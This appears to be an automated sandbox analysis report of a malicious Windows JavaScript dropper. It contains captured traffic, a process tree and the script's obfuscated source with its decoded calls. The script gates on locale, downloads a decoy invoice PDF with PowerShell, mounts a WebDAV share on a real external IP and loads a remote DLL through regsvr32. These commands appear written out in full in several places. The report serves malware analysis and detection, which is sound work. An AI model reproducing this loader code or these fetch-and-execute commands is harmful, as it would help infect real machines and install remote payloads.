Jan 10, 2025 23:38:20.195161104 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2684	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:38:23.114830971 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:38:23.931267023 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:38:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:38:14
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16981299741734811290.js"
Imagebase:	0x7ff7668c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:38:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Imagebase:	0x7ff617510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:38:15
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:38:15
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:38:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:38:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff617510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:38:22
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6daa20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:38:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:38:22
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:38:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1752,i,17091936421959275901,7858486724948188063,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rncfshw() {	rncfshw() ➔ undefined
1	nezfshg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rxjwj = this[acacqnr + louzj + ltoew + wksuvfg + apupctgf + tiuxgjfwm + dbvwwgpoz + izcmc] ( this[gsmkxs + weomuxqx + quytpev + ltoew + drhtewvck + acacqnr + izcmc][ljzzouv + ltoew + apupctgf + louzj + izcmc + apupctgf + riymchtit + lgnykda + jfaasjvb + apupctgf + quytpev + izcmc] ( gsmkxs + weomuxqx + quytpev + ltoew + drhtewvck + acacqnr + izcmc + ilxed + weomuxqx + yraavwsb + apupctgf + qusnnzwow + qusnnzwow ) [asokaqk + apupctgf + uxjhclqs + asokaqk + apupctgf + louzj + dusqjm] ( jlhgimrx + wigbwmvc + nzybho + nuupewtj + fehzr + ljzzouv + yiamxn + asokaqk + asokaqk + nzybho + lqimnvxa + jlandydsz + fehzr + yiamxn + weomuxqx + nzybho + asokaqk + ooikidjj + ljzzouv + rrrzhfzwv + dbvwwgpoz + izcmc + ltoew + rrrzhfzwv + qusnnzwow + tuqmmyid + kmeyqzstq + louzj + dbvwwgpoz + apupctgf + qusnnzwow + ooikidjj + tiuxgjfwm + dbvwwgpoz + izcmc + apupctgf + ltoew + dbvwwgpoz + louzj + izcmc + drhtewvck + rrrzhfzwv + dbvwwgpoz + louzj + qusnnzwow + ooikidjj + byyxnl + rrrzhfzwv + quytpev + louzj + qusnnzwow + apupctgf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vlnnh = 0 ; vlnnh < nezfshg[qusnnzwow + apupctgf + dbvwwgpoz + uxjhclqs + izcmc + yraavwsb] ; ++ vlnnh )
4	{
5	if ( rxjwj == nezfshg[vlnnh] )
6	{
7	rxjwj = true;
8	break ;
9	}
10	}
11	if ( rxjwj !== true )
12	this[gsmkxs + weomuxqx + quytpev + ltoew + drhtewvck + acacqnr + izcmc][sgqcchf + gvhyhfa + drhtewvck + izcmc] ( );
13	this[gsmkxs + weomuxqx + quytpev + ltoew + drhtewvck + acacqnr + izcmc][ljzzouv + ltoew + apupctgf + louzj + izcmc + apupctgf + riymchtit + lgnykda + jfaasjvb + apupctgf + quytpev + izcmc] ( gsmkxs + weomuxqx + quytpev + ltoew + drhtewvck + acacqnr + izcmc + ilxed + weomuxqx + yraavwsb + apupctgf + qusnnzwow + qusnnzwow ) [ltoew + gvhyhfa + dbvwwgpoz] ( quytpev + xqvcg + dusqjm + tuqmmyid + eofqmsom + quytpev + tuqmmyid + acacqnr + rrrzhfzwv + kfhodcduo + apupctgf + ltoew + wksuvfg + yraavwsb + apupctgf + qusnnzwow + qusnnzwow + ilxed + apupctgf + tzjezja + apupctgf + tuqmmyid + uymizz + ljzzouv + rrrzhfzwv + xqvcg + xqvcg + louzj + dbvwwgpoz + dusqjm + tuqmmyid + cddwgl + tiuxgjfwm + dbvwwgpoz + jkwrbhzi + rrrzhfzwv + ruujuehf + apupctgf + uymizz + gsmkxs + apupctgf + lgnykda + asokaqk + apupctgf + gjnvns + gvhyhfa + apupctgf + wksuvfg + izcmc + tuqmmyid + uymizz + riymchtit + gvhyhfa + izcmc + ayalgwe + drhtewvck + qusnnzwow + apupctgf + tuqmmyid + cvohc + izcmc + apupctgf + xqvcg + acacqnr + cvohc + ooikidjj + drhtewvck + dbvwwgpoz + jkwrbhzi + rrrzhfzwv + drhtewvck + quytpev + apupctgf + ilxed + acacqnr + dusqjm + hckigeoq + tuqmmyid + yraavwsb + izcmc + izcmc + acacqnr + qrjifrp + eofqmsom + eofqmsom + anvnv + eflma + naajelp + ilxed + anvnv + usdqbosin + naajelp + ilxed + anvnv + ilxed + iedxdgr + kbhspin + sevdm + eofqmsom + drhtewvck + dbvwwgpoz + jkwrbhzi + rrrzhfzwv + drhtewvck + quytpev + apupctgf + ilxed + acacqnr + yraavwsb + acacqnr + cddwgl + ebrha + ebrha + wksuvfg + izcmc + louzj + ltoew + izcmc + tuqmmyid + cvohc + izcmc + apupctgf + xqvcg + acacqnr + cvohc + ooikidjj + drhtewvck + dbvwwgpoz + jkwrbhzi + rrrzhfzwv + drhtewvck + quytpev + apupctgf + ilxed + acacqnr + dusqjm + hckigeoq + ebrha + ebrha + quytpev + xqvcg + dusqjm + tuqmmyid + eofqmsom + quytpev + tuqmmyid + dbvwwgpoz + apupctgf + izcmc + tuqmmyid + gvhyhfa + wksuvfg + apupctgf + tuqmmyid + ooikidjj + ooikidjj + anvnv + eflma + naajelp + ilxed + anvnv + usdqbosin + naajelp + ilxed + anvnv + ilxed + iedxdgr + kbhspin + sevdm + sfffakd + ueuwirp + ueuwirp + ueuwirp + ueuwirp + ooikidjj + dusqjm + louzj + jkwrbhzi + kfhodcduo + kfhodcduo + kfhodcduo + ltoew + rrrzhfzwv + rrrzhfzwv + izcmc + ooikidjj + ebrha + ebrha + quytpev + xqvcg + dusqjm + tuqmmyid + eofqmsom + quytpev + tuqmmyid + ltoew + apupctgf + uxjhclqs + wksuvfg + jkwrbhzi + ltoew + naajelp + iedxdgr + tuqmmyid + eofqmsom + wksuvfg + tuqmmyid + ooikidjj + ooikidjj + anvnv + eflma + naajelp + ilxed + anvnv + usdqbosin + naajelp + ilxed + anvnv + ilxed + iedxdgr + kbhspin + sevdm + sfffakd + ueuwirp + ueuwirp + ueuwirp + ueuwirp + ooikidjj + dusqjm + louzj + jkwrbhzi + kfhodcduo + kfhodcduo + kfhodcduo + ltoew + rrrzhfzwv + rrrzhfzwv + izcmc + ooikidjj + anvnv + anvnv + eflma + ueuwirp + kbhspin + anvnv + ueuwirp + anvnv + opsyunx + ueuwirp + iedxdgr + sevdm + anvnv + sevdm + anvnv + ilxed + dusqjm + qusnnzwow + qusnnzwow, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll",0,false) ➔ 0
14	}
15	weomuxqx = "F";
16	weomuxqx = "H";
17	weomuxqx = "w";
18	weomuxqx = "U";
19	weomuxqx = "j";
20	weomuxqx = "n";
21	weomuxqx = "s";
22	weomuxqx = "S";
23	weomuxqx = "w";
24	weomuxqx = "O";
25	weomuxqx = "U";
26	weomuxqx = "k";
27	weomuxqx = "A";
28	weomuxqx = "a";
29	weomuxqx = "s";
30	weomuxqx = "f";
31	weomuxqx = "Y";
32	weomuxqx = "T";
33	weomuxqx = "S";
34	anvnv = "r";
35	anvnv = "G";
36	anvnv = "l";
37	anvnv = "a";
38	anvnv = "e";
39	anvnv = "A";
40	anvnv = "1";
41	riymchtit = "h";
42	riymchtit = "f";
43	riymchtit = "Y";
44	riymchtit = "f";
45	riymchtit = "p";
46	riymchtit = "T";
47	riymchtit = "A";
48	riymchtit = "I";
49	riymchtit = "U";
50	riymchtit = "c";
51	riymchtit = "V";
52	riymchtit = "k";
53	riymchtit = "r";
54	riymchtit = "L";
55	riymchtit = "O";
56	rrrzhfzwv = "H";
57	rrrzhfzwv = "k";
58	rrrzhfzwv = "y";
59	rrrzhfzwv = "U";
60	rrrzhfzwv = "D";
61	rrrzhfzwv = "D";
62	rrrzhfzwv = "r";
63	rrrzhfzwv = "n";
64	rrrzhfzwv = "C";
65	rrrzhfzwv = "G";
66	rrrzhfzwv = "r";
67	rrrzhfzwv = "v";
68	rrrzhfzwv = "O";
69	rrrzhfzwv = "m";
70	rrrzhfzwv = "U";
71	rrrzhfzwv = "j";
72	rrrzhfzwv = "X";
73	rrrzhfzwv = "e";
74	rrrzhfzwv = "a";
75	rrrzhfzwv = "U";
76	rrrzhfzwv = "j";
77	rrrzhfzwv = "Y";
78	rrrzhfzwv = "o";
79	rrrzhfzwv = "B";
80	rrrzhfzwv = "Q";
81	rrrzhfzwv = "Y";
82	rrrzhfzwv = "w";
83	rrrzhfzwv = "Q";
84	rrrzhfzwv = "q";
85	rrrzhfzwv = "B";
86	rrrzhfzwv = "o";
87	dusqjm = "d";
88	nuupewtj = "g";
89	nuupewtj = "w";
90	nuupewtj = "u";
91	nuupewtj = "E";
92	nuupewtj = "v";
93	nuupewtj = "r";
94	nuupewtj = "a";
95	nuupewtj = "Y";
96	nuupewtj = "h";
97	nuupewtj = "h";
98	nuupewtj = "b";
99	nuupewtj = "G";
100	nuupewtj = "X";
101	nuupewtj = "M";
102	nuupewtj = "f";
103	nuupewtj = "R";
104	nuupewtj = "Z";
105	nuupewtj = "L";
106	nuupewtj = "y";
107	nuupewtj = "k";
108	nuupewtj = "n";
109	nuupewtj = "N";
110	nuupewtj = "b";
111	nuupewtj = "K";
112	nuupewtj = "j";
113	nuupewtj = "Y";
114	nuupewtj = "J";
115	nuupewtj = "h";
116	nuupewtj = "s";
117	nuupewtj = "X";
118	nuupewtj = "M";
119	nuupewtj = "K";
120	nuupewtj = "I";
121	nuupewtj = "t";
122	nuupewtj = "Y";
123	nuupewtj = "G";
124	nuupewtj = "J";
125	nuupewtj = "Q";
126	nuupewtj = "h";
127	nuupewtj = "m";
128	nuupewtj = "X";
129	nuupewtj = "Y";
130	jlhgimrx = "F";
131	jlhgimrx = "B";
132	jlhgimrx = "R";
133	jlhgimrx = "y";
134	jlhgimrx = "l";
135	jlhgimrx = "H";
136	ayalgwe = "w";
137	ayalgwe = "J";
138	ayalgwe = "D";
139	ayalgwe = "x";
140	ayalgwe = "K";
141	ayalgwe = "F";
142	ayalgwe = "j";
143	ayalgwe = "x";
144	ayalgwe = "k";
145	ayalgwe = "l";
146	ayalgwe = "p";
147	ayalgwe = "T";
148	ayalgwe = "y";
149	ayalgwe = "F";
150	wigbwmvc = "E";
151	wigbwmvc = "h";
152	wigbwmvc = "a";
153	wigbwmvc = "Q";
154	wigbwmvc = "Z";
155	wigbwmvc = "A";
156	wigbwmvc = "W";
157	wigbwmvc = "I";
158	wigbwmvc = "m";
159	wigbwmvc = "Z";
160	wigbwmvc = "K";
161	wigbwmvc = "h";
162	wigbwmvc = "K";
163	eflma = "Y";
164	eflma = "e";
165	eflma = "I";
166	eflma = "G";
167	eflma = "n";
168	eflma = "T";
169	eflma = "h";
170	eflma = "R";
171	eflma = "x";
172	eflma = "b";
173	eflma = "d";
174	eflma = "S";
175	eflma = "p";
176	eflma = "T";
177	eflma = "Z";
178	eflma = "H";
179	eflma = "v";
180	eflma = "E";
181	eflma = "l";
182	eflma = "S";
183	eflma = "m";
184	eflma = "a";
185	eflma = "k";
186	eflma = "I";
187	eflma = "y";
188	eflma = "Z";
189	eflma = "B";
190	eflma = "r";
191	eflma = "Y";
192	eflma = "Q";
193	eflma = "M";
194	eflma = "F";
195	eflma = "F";
196	eflma = "9";
197	lgnykda = "W";
198	lgnykda = "g";
199	lgnykda = "J";
200	lgnykda = "b";
201	nzybho = "M";
202	nzybho = "f";
203	nzybho = "h";
204	nzybho = "i";
205	nzybho = "L";
206	nzybho = "d";
207	nzybho = "U";
208	nzybho = "J";
209	nzybho = "b";
210	nzybho = "w";
211	nzybho = "y";
212	nzybho = "M";
213	nzybho = "r";
214	nzybho = "K";
215	nzybho = "V";
216	nzybho = "V";
217	nzybho = "z";
218	nzybho = "p";
219	nzybho = "a";
220	nzybho = "z";
221	nzybho = "c";
222	nzybho = "g";
223	nzybho = "d";
224	nzybho = "z";
225	nzybho = "a";
226	nzybho = "E";
227	nzybho = "E";
228	ueuwirp = "W";
229	ueuwirp = "I";
230	ueuwirp = "8";
231	gjnvns = "U";
232	gjnvns = "N";
233	gjnvns = "h";
234	gjnvns = "p";
235	gjnvns = "q";
236	louzj = "A";
237	louzj = "l";
238	louzj = "E";
239	louzj = "t";
240	louzj = "R";
241	louzj = "o";
242	louzj = "q";
243	louzj = "H";
244	louzj = "G";
245	louzj = "N";
246	louzj = "j";
247	louzj = "a";
248	kbhspin = "E";
249	kbhspin = "T";
250	kbhspin = "i";
251	kbhspin = "M";
252	kbhspin = "s";
253	kbhspin = "R";
254	kbhspin = "Q";
255	kbhspin = "l";
256	kbhspin = "N";
257	kbhspin = "N";
258	kbhspin = "J";
259	kbhspin = "l";
260	kbhspin = "0";
261	byyxnl = "y";
262	byyxnl = "y";
263	byyxnl = "w";
264	byyxnl = "s";
265	byyxnl = "L";
266	byyxnl = "R";
267	byyxnl = "p";
268	byyxnl = "y";
269	byyxnl = "F";
270	byyxnl = "B";
271	byyxnl = "D";
272	byyxnl = "J";
273	byyxnl = "A";
274	byyxnl = "o";
275	byyxnl = "v";
276	byyxnl = "H";
277	byyxnl = "V";
278	byyxnl = "L";
279	byyxnl = "I";
280	byyxnl = "O";
281	byyxnl = "P";
282	byyxnl = "W";
283	byyxnl = "a";
284	byyxnl = "S";
285	byyxnl = "h";
286	byyxnl = "X";
287	byyxnl = "C";
288	byyxnl = "H";
289	byyxnl = "b";
290	byyxnl = "a";
291	byyxnl = "C";
292	byyxnl = "T";
293	byyxnl = "r";
294	byyxnl = "F";
295	byyxnl = "L";
296	byyxnl = "C";
297	byyxnl = "U";
298	byyxnl = "N";
299	byyxnl = "L";
300	usdqbosin = "q";
301	usdqbosin = "Q";
302	usdqbosin = "r";
303	usdqbosin = "b";
304	usdqbosin = "B";
305	usdqbosin = "O";
306	usdqbosin = "H";
307	usdqbosin = "T";
308	usdqbosin = "Z";
309	usdqbosin = "m";
310	usdqbosin = "c";
311	usdqbosin = "w";
312	usdqbosin = "n";
313	usdqbosin = "B";
314	usdqbosin = "w";
315	usdqbosin = "q";
316	usdqbosin = "I";
317	usdqbosin = "i";
318	usdqbosin = "Y";
319	usdqbosin = "p";
320	usdqbosin = "w";
321	usdqbosin = "4";
322	hckigeoq = "g";
323	hckigeoq = "r";
324	hckigeoq = "N";
325	hckigeoq = "W";
326	hckigeoq = "R";
327	hckigeoq = "q";
328	hckigeoq = "h";
329	hckigeoq = "D";
330	hckigeoq = "a";
331	hckigeoq = "c";
332	hckigeoq = "b";
333	hckigeoq = "A";
334	hckigeoq = "F";
335	hckigeoq = "o";
336	hckigeoq = "f";
337	uymizz = "H";
338	uymizz = "G";
339	uymizz = "X";
340	uymizz = "s";
341	uymizz = "T";
342	uymizz = "o";
343	uymizz = "e";
344	uymizz = "J";
345	uymizz = "-";
346	jlandydsz = "W";
347	jlandydsz = "G";
348	jlandydsz = "b";
349	jlandydsz = "j";
350	jlandydsz = "K";
351	jlandydsz = "x";
352	jlandydsz = "w";
353	jlandydsz = "o";
354	jlandydsz = "e";
355	jlandydsz = "h";
356	jlandydsz = "u";
357	jlandydsz = "O";
358	jlandydsz = "W";
359	jlandydsz = "a";
360	jlandydsz = "q";
361	jlandydsz = "h";
362	jlandydsz = "Z";
363	jlandydsz = "x";
364	jlandydsz = "d";
365	jlandydsz = "p";
366	jlandydsz = "t";
367	jlandydsz = "W";
368	jlandydsz = "D";
369	jlandydsz = "e";
370	jlandydsz = "U";
371	jlandydsz = "A";
372	jlandydsz = "C";
373	jlandydsz = "X";
374	jlandydsz = "P";
375	jlandydsz = "o";
376	jlandydsz = "i";
377	jlandydsz = "T";
378	jlandydsz = "o";
379	jlandydsz = "m";
380	jlandydsz = "R";
381	jlandydsz = "H";
382	jlandydsz = "Z";
383	jlandydsz = "o";
384	jlandydsz = "t";
385	jlandydsz = "W";
386	jlandydsz = "N";
387	jlandydsz = "e";
388	jlandydsz = "W";
389	jlandydsz = "T";
390	ljzzouv = "V";
391	ljzzouv = "Q";
392	ljzzouv = "h";
393	ljzzouv = "r";
394	ljzzouv = "j";
395	ljzzouv = "j";
396	ljzzouv = "T";
397	ljzzouv = "r";
398	ljzzouv = "l";
399	ljzzouv = "E";
400	ljzzouv = "c";
401	ljzzouv = "I";
402	ljzzouv = "H";
403	ljzzouv = "t";
404	ljzzouv = "R";
405	ljzzouv = "z";
406	ljzzouv = "q";
407	ljzzouv = "r";
408	ljzzouv = "F";
409	ljzzouv = "S";
410	ljzzouv = "U";
411	ljzzouv = "b";
412	ljzzouv = "X";
413	ljzzouv = "G";
414	ljzzouv = "T";
415	ljzzouv = "d";
416	ljzzouv = "t";
417	ljzzouv = "i";
418	ljzzouv = "u";
419	ljzzouv = "y";
420	ljzzouv = "Q";
421	ljzzouv = "p";
422	ljzzouv = "I";
423	ljzzouv = "g";
424	ljzzouv = "c";
425	ljzzouv = "N";
426	ljzzouv = "j";
427	ljzzouv = "r";
428	ljzzouv = "i";
429	ljzzouv = "C";
430	jkwrbhzi = "U";
431	jkwrbhzi = "q";
432	jkwrbhzi = "J";
433	jkwrbhzi = "d";
434	jkwrbhzi = "M";
435	jkwrbhzi = "J";
436	jkwrbhzi = "C";
437	jkwrbhzi = "e";
438	jkwrbhzi = "w";
439	jkwrbhzi = "z";
440	jkwrbhzi = "s";
441	jkwrbhzi = "Q";
442	jkwrbhzi = "Y";
443	jkwrbhzi = "V";
444	jkwrbhzi = "B";
445	jkwrbhzi = "V";
446	jkwrbhzi = "O";
447	jkwrbhzi = "Z";
448	jkwrbhzi = "n";
449	jkwrbhzi = "s";
450	jkwrbhzi = "w";
451	jkwrbhzi = "n";
452	jkwrbhzi = "T";
453	jkwrbhzi = "l";
454	jkwrbhzi = "E";
455	jkwrbhzi = "u";
456	jkwrbhzi = "E";
457	jkwrbhzi = "j";
458	jkwrbhzi = "Q";
459	jkwrbhzi = "o";
460	jkwrbhzi = "x";
461	jkwrbhzi = "s";
462	jkwrbhzi = "v";
463	xqvcg = "F";
464	xqvcg = "i";
465	xqvcg = "S";
466	xqvcg = "Z";
467	xqvcg = "m";
468	xqvcg = "e";
469	xqvcg = "K";
470	xqvcg = "D";
471	xqvcg = "b";
472	xqvcg = "b";
473	xqvcg = "T";
474	xqvcg = "M";
475	xqvcg = "X";
476	xqvcg = "I";
477	xqvcg = "w";
478	xqvcg = "C";
479	xqvcg = "H";
480	xqvcg = "g";
481	xqvcg = "i";
482	xqvcg = "v";
483	xqvcg = "W";
484	xqvcg = "l";
485	xqvcg = "B";
486	xqvcg = "d";
487	xqvcg = "Z";
488	xqvcg = "t";
489	xqvcg = "X";
490	xqvcg = "f";
491	xqvcg = "C";
492	xqvcg = "x";
493	xqvcg = "x";
494	xqvcg = "Q";
495	xqvcg = "Z";
496	xqvcg = "I";
497	xqvcg = "x";
498	xqvcg = "o";
499	xqvcg = "c";
500	xqvcg = "O";
501	xqvcg = "i";
502	xqvcg = "n";
503	xqvcg = "W";
504	xqvcg = "d";
505	xqvcg = "m";
506	opsyunx = "v";
507	opsyunx = "a";
508	opsyunx = "v";
509	opsyunx = "r";
510	opsyunx = "n";
511	opsyunx = "C";
512	opsyunx = "A";
513	opsyunx = "z";
514	opsyunx = "L";
515	opsyunx = "d";
516	opsyunx = "N";
517	opsyunx = "C";
518	opsyunx = "a";
519	opsyunx = "l";
520	opsyunx = "G";
521	opsyunx = "z";
522	opsyunx = "w";
523	opsyunx = "x";
524	opsyunx = "H";
525	opsyunx = "l";
526	opsyunx = "w";
527	opsyunx = "M";
528	opsyunx = "O";
529	opsyunx = "q";
530	opsyunx = "R";
531	opsyunx = "e";
532	opsyunx = "p";
533	opsyunx = "W";
534	opsyunx = "W";
535	opsyunx = "N";
536	opsyunx = "b";
537	opsyunx = "W";
538	opsyunx = "o";
539	opsyunx = "j";
540	opsyunx = "i";
541	opsyunx = "a";
542	opsyunx = "7";
543	tzjezja = "q";
544	tzjezja = "W";
545	tzjezja = "X";
546	tzjezja = "P";
547	tzjezja = "P";
548	tzjezja = "f";
549	tzjezja = "T";
550	tzjezja = "p";
551	tzjezja = "G";
552	tzjezja = "x";
553	gvhyhfa = "D";
554	gvhyhfa = "R";
555	gvhyhfa = "W";
556	gvhyhfa = "A";
557	gvhyhfa = "Y";
558	gvhyhfa = "I";
559	gvhyhfa = "S";
560	gvhyhfa = "o";
561	gvhyhfa = "Q";
562	gvhyhfa = "f";
563	gvhyhfa = "S";
564	gvhyhfa = "X";
565	gvhyhfa = "u";
566	kfhodcduo = "s";
567	kfhodcduo = "j";
568	kfhodcduo = "N";
569	kfhodcduo = "m";
570	kfhodcduo = "j";
571	kfhodcduo = "e";
572	kfhodcduo = "q";
573	kfhodcduo = "a";
574	kfhodcduo = "K";
575	kfhodcduo = "A";
576	kfhodcduo = "G";
577	kfhodcduo = "o";
578	kfhodcduo = "M";
579	kfhodcduo = "G";
580	kfhodcduo = "i";
581	kfhodcduo = "q";
582	kfhodcduo = "B";
583	kfhodcduo = "B";
584	kfhodcduo = "R";
585	kfhodcduo = "A";
586	kfhodcduo = "T";
587	kfhodcduo = "F";
588	kfhodcduo = "w";
589	kfhodcduo = "m";
590	kfhodcduo = "F";
591	kfhodcduo = "C";
592	kfhodcduo = "P";
593	kfhodcduo = "x";
594	kfhodcduo = "A";
595	kfhodcduo = "j";
596	kfhodcduo = "l";
597	kfhodcduo = "Y";
598	kfhodcduo = "Z";
599	kfhodcduo = "O";
600	kfhodcduo = "j";
601	kfhodcduo = "Z";
602	kfhodcduo = "O";
603	kfhodcduo = "d";
604	kfhodcduo = "w";
605	naajelp = "y";
606	naajelp = "B";
607	naajelp = "W";
608	naajelp = "n";
609	naajelp = "Y";
610	naajelp = "i";
611	naajelp = "y";
612	naajelp = "R";
613	naajelp = "n";
614	naajelp = "a";
615	naajelp = "F";
616	naajelp = "V";
617	naajelp = "e";
618	naajelp = "u";
619	naajelp = "M";
620	naajelp = "A";
621	naajelp = "K";
622	naajelp = "w";
623	naajelp = "v";
624	naajelp = "o";
625	naajelp = "X";
626	naajelp = "P";
627	naajelp = "s";
628	naajelp = "i";
629	naajelp = "V";
630	naajelp = "x";
631	naajelp = "h";
632	naajelp = "I";
633	naajelp = "p";
634	naajelp = "g";
635	naajelp = "D";
636	naajelp = "f";
637	naajelp = "r";
638	naajelp = "m";
639	naajelp = "A";
640	naajelp = "z";
641	naajelp = "z";
642	naajelp = "p";
643	naajelp = "G";
644	naajelp = "Y";
645	naajelp = "n";
646	naajelp = "3";
647	fehzr = "k";
648	fehzr = "W";
649	fehzr = "q";
650	fehzr = "n";
651	fehzr = "l";
652	fehzr = "a";
653	fehzr = "_";
654	quytpev = "c";
655	ltoew = "g";
656	ltoew = "b";
657	ltoew = "N";
658	ltoew = "Y";
659	ltoew = "D";
660	ltoew = "N";
661	ltoew = "c";
662	ltoew = "s";
